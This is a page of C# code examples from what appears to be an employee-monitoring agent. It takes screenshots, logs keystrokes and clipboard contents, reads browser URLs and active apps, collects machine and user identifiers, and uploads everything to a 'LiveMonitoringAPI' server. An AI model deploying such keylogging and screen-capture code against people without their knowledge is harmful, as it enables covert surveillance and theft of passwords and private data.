Exemplo n.º 1
0
        public static void fncScreenShot()
        {
            try
            {
                if (GlobalClass.CheckForInternetConnection())
                {
                    using (HttpClient client = MachineInfoTracker.GetHttpClient())
                    {
                        using (var content = new MultipartFormDataContent("---------------------------" + DateTime.Now.Ticks.ToString("x")))
                        {
                            //Take Screen Shot
                            string activeWindowTitle = GetActiveWindowTitle();
                            Bitmap img = screenCapture();

                            var imageFile = new ByteArrayContent(ImageToByte2(img));

                            // Add file content
                            if (activeWindowTitle != OldTitle && !string.IsNullOrEmpty(activeWindowTitle))
                            {
                                OldTitle = activeWindowTitle;

                                imageFile.Headers.ContentType        = MediaTypeHeaderValue.Parse("image/png");
                                imageFile.Headers.ContentDisposition = new ContentDispositionHeaderValue("attachment")
                                {
                                    FileName = DateTime.Now.ToString("yyyy_MM_dd_HH_mm_ss") + ".png"
                                };
                                content.Add(imageFile);

                                // Add file content
                                content.Add(new StringContent(Program.MachineId.ToString()), name: "MachineId");
                                content.Add(new StringContent(MachineInfoTracker.GetUserName()), name: "UserName");

                                // Make a call to Web API
                                var result = client.PostAsync("api/LiveMonitoringAPI/UploadFiles", content).Result;
                                if (result.StatusCode.ToString() != "OK")
                                {
                                    Console.WriteLine(result.StatusCode);
                                    GlobalClass.WriteTolog("Save new Screen Shot on server");
                                }
                            }
                        }
                    }
                }
                else
                {
                    GlobalClass.WriteTolog("server not giving any response in  ScreenShot function");
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("Error In ScreenShot.cs in fncScreenShot Fuction " + ex.Message);
                GlobalClass.WriteTolog("Error In ScreenShot.cs in fncScreenShot Fuction " + ex.Message);
            }
        }
Exemplo n.º 2
0
 static void WriteBrowserData(string Title, string Url, string BrowserName, string Version)
 {
     if (GlobalClass.CheckForInternetConnection())
     {
         try
         {
             if (!(Title.Contains("New Tab") || Title.Contains("Speed Dial") || Title.Contains("\"")))
             {
                 using (HttpClient client = MachineInfoTracker.GetHttpClient())
                 {
                     BrowserDetail model = new BrowserDetail {
                         MachineDetailId = Program.MachineId, BrowserName = BrowserName, BrowserVersion = Version, Title = Title, URL = Url, CreatedDate = DateTime.Now
                     };
                     HttpResponseMessage Response = client.PostAsync <BrowserDetail>("api/LiveMonitoringAPI/AddBrowserDetails", model, new JsonMediaTypeFormatter()).Result;
                     if (Response.IsSuccessStatusCode == true)
                     {
                         var result = Response.Content.ReadAsStringAsync().Result;
                         if (result.Contains("OK"))
                         {
                             Console.WriteLine("Record saved successfully.");
                             GlobalClass.WriteTolog("Record saved successfully.");
                         }
                         else if (result.Contains("Invalid"))
                         {
                             Program.AddMachineInfo();
                         }
                     }
                     else if (Response != null && Response.IsSuccessStatusCode == false)
                     {
                         var result = Response.Content.ReadAsStringAsync().Result;
                         Console.Write("Error Message - " + result);
                         GlobalClass.WriteTolog("Error Message - " + result);
                     }
                 }
             }
         }
         catch (Exception ex)
         {
             Console.WriteLine("Error In BrowserUrlTracker.cs in WriteBrowserData Fuction " + ex.Message);
             GlobalClass.WriteTolog("Error In BrowserUrlTracker.cs in WriteBrowserData Fuction " + ex.Message);
         }
     }
     else
     {
         GlobalClass.WriteTolog("server not giving any response");
     }
 }
Exemplo n.º 3
0
        public static void AddMachineInfo()
        {
            if (GlobalClass.CheckForInternetConnection())
            {
                try
                {
                    using (HttpClient client = MachineInfoTracker.GetHttpClient())
                    {
                        string strMachineName = MachineInfoTracker.GetMachineName();
                        string strMachineIP   = MachineInfoTracker.GetPrimaryAdapterDetails().AdapterIP;
                        string strUserName    = MachineInfoTracker.GetUserName();
                        string strMACAddress  = MachineInfoTracker.GetPrimaryAdapterDetails().AdapterMacAddress;
                        int    customerID     = Constants.CustomerId;

                        MachineDetail model = new MachineDetail {
                            MachineName = strMachineName, CustomerId = customerID, MachineMacAddress = strMACAddress, MachineIP = strMachineIP, UserName = strUserName, CreatedDate = DateTime.Now
                        };
                        HttpResponseMessage Response = client.PostAsync <MachineDetail>("api/LiveMonitoringAPI/AddMachineDetails", model, new JsonMediaTypeFormatter()).Result;

                        if (Response.IsSuccessStatusCode == true)
                        {
                            var machineID = Response.Content.ReadAsStringAsync().Result;
                            machineID = machineID.Replace("\"", string.Empty).Trim();
                            string[] result = machineID.Split('_');
                            MachineId = Convert.ToInt16(result[0]);
                            IsBlocked = Convert.ToBoolean(result[1].ToString());
                        }
                        else if (Response != null && Response.IsSuccessStatusCode == false)
                        {
                            var result = Response.Content.ReadAsStringAsync().Result;
                            Console.Write("Error Message - " + result);
                            GlobalClass.WriteTolog("Error Message - " + result);
                        }
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("Error In Program.cs in AddMachineInfo Fuction " + ex.Message);
                    GlobalClass.WriteTolog("Error In Program.cs in AddMachineInfo Fuction " + ex.Message);
                }
            }
            else
            {
                GlobalClass.WriteTolog("server not giving any response in  AddMachineInfo function");
            }
        }
Exemplo n.º 4
0
 public static void GetCofigrationSettings()
 {
     if (GlobalClass.CheckForInternetConnection())
     {
         try
         {
             using (HttpClient client = MachineInfoTracker.GetHttpClient())
             {
                 int customerID = Constants.CustomerId;
                 HttpResponseMessage Response = client.GetAsync("api/LiveMonitoringAPI/GetCofigrationSettings?customerId=" + customerID).Result;
                 if (Response.IsSuccessStatusCode == true)
                 {
                     JObject jResponse = JObject.Parse(Response.Content.ReadAsStringAsync().Result);
                     Screenshot_Interval = Convert.ToInt16(jResponse["ScreenShot_Interval"].ToString());
                     Idle_Interval       = Convert.ToInt16(jResponse["MachineIdle_Interval"].ToString());
                     KeyLogger_Interval  = Convert.ToInt16(jResponse["KeyLogger_Interval"].ToString());
                     App_Interval        = Convert.ToInt16(jResponse["AppTracker_Interval"].ToString());
                     KeyLogger_MinTime   = Convert.ToInt16(jResponse["KeyLogger_MinTime"].ToString());
                     Idle_MinTime        = Convert.ToInt16(jResponse["MachineIdle_MinTime"].ToString());
                     IsSendBlockData     = Convert.ToBoolean(jResponse["IsSendBlockData"].ToString());
                     SetallIntervalsInSeconds();
                 }
                 else if (Response != null && Response.IsSuccessStatusCode == false)
                 {
                     var result = Response.Content.ReadAsStringAsync().Result;
                     Console.Write("Error Message - " + result);
                     GlobalClass.WriteTolog("Error Message - " + result);
                 }
             }
         }
         catch (Exception ex)
         {
             Console.WriteLine("Error In Program.cs in GetCofigrationSettings Fuction " + ex.Message);
             GlobalClass.WriteTolog("Error In Program.cs in GetCofigrationSettings Fuction " + ex.Message);
         }
     }
     else
     {
         GlobalClass.WriteTolog("error in GetCofigrationSettings function server not availble");
     }
 }
Exemplo n.º 5
0
        private static void WriteData(string Title, string appexe)
        {
            if (GlobalClass.CheckForInternetConnection())
            {
                try
                {
                    using (HttpClient client = MachineInfoTracker.GetHttpClient())
                    {
                        AppDetail model = new AppDetail {
                            MachineDetailId = Program.MachineId, AppName = appexe, Title = Title, CreatedDate = DateTime.Now
                        };
                        HttpResponseMessage Response = client.PostAsync <AppDetail>("api/LiveMonitoringAPI/AddAppDetails", model, new JsonMediaTypeFormatter()).Result;

                        if (Response.IsSuccessStatusCode == true)
                        {
                            var result = Response.Content.ReadAsStringAsync().Result;
                            if (result.Contains("OK"))
                            {
                                Console.WriteLine("Record (AppTraker) saved successfully.");
                            }
                            else if (result.Contains("Invalid"))
                            {
                                Program.AddMachineInfo();
                            }
                        }
                        else if (Response != null && Response.IsSuccessStatusCode == false)
                        {
                            var result = Response.Content.ReadAsStringAsync().Result;
                            Console.Write("Error Message - " + result);
                        }
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("Error In AppTracker.cs in WriteData Fuction " + ex.Message);
                }
            }
        }
Exemplo n.º 6
0
        public void SendToServer()
        {
            if (GlobalClass.CheckForInternetConnection())
            {
                //1.) save Keybord test here
                GlobalClass.addKeyLoggerInfo(GlobalClass.KeyBordText, "KL");

                //2.) save Clipbord test here
                GlobalClass.FncClipboard();

                //3.) save Idle time here
                GlobalClass.WriteMachineIdleTime(GlobalClass.lastIdleMinute);

                //4.)Send Screenshot
                ScreenShot.fncScreenShot();

                //5.) Send Application and BrowerDetails
                AppTracker.fncAppTracker();

                //6.) Send All Local Session Data
                // GlobalClass.UploadLocalSessionData();
            }
        }
Exemplo n.º 7
0
        public static void fncAppTracker()
        {
            if (GlobalClass.CheckForInternetConnection())
            {
                try
                {
                    string title  = string.Empty;
                    string appexe = string.Empty;

                    IntPtr handle = GetForegroundWindow();
                    if (!handle.Equals(IntPtr.Zero))
                    {
                        int tLength = GetWindowTextLength(handle);
                        if (tLength > 0)
                        {
                            if (tLength > 255)
                            {
                                tLength = 255;
                            }
                            StringBuilder wTitle = new StringBuilder(string.Empty, tLength + 1);
                            if (GetWindowText(handle, wTitle, wTitle.Capacity) > 0)
                            {
                                title = wTitle.ToString();
                            }
                            if (title != OldTitle && !String.IsNullOrEmpty(title))
                            {
                                int wProcID = 0;
                                if (GetWindowThreadProcessId(handle, out wProcID) > 0)
                                {
                                    appexe = Process.GetProcessById(wProcID).ProcessName;
                                }
                                if (!string.IsNullOrEmpty(appexe))
                                {
                                    if (appexe.Equals("firefox"))
                                    {
                                        BrowserUrlTracker.ReadBrowserUrlforFirefox();
                                        //BrowserUrlTracker.ReadBrowserUrlforChrome();
                                    }
                                    else if (appexe.Equals("iexplore"))
                                    {
                                        BrowserUrlTracker.ReadBrowserUrlforIE();
                                    }
                                    else if (appexe.Equals("chrome"))
                                    {
                                        BrowserUrlTracker.ReadBrowserUrlforChrome();
                                    }
                                    else if (appexe.Equals("opera"))
                                    {
                                        BrowserUrlTracker.ReadBrowserUrlforOpera();
                                    }
                                    else
                                    {
                                        OldTitle = title;
                                        appexe   = appexe + ".exe";
                                        WriteData(title, appexe);
                                    }
                                }
                            }
                        }
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("Error on AppTracker.cs in fncAppTracker function :- " + ex.Message);
                    GlobalClass.WriteTolog("Error on AppTracker.cs in fncAppTracker function :- " + ex.Message);
                }
            }
            else
            {
                GlobalClass.WriteTolog("server not giving any response");
            }
        }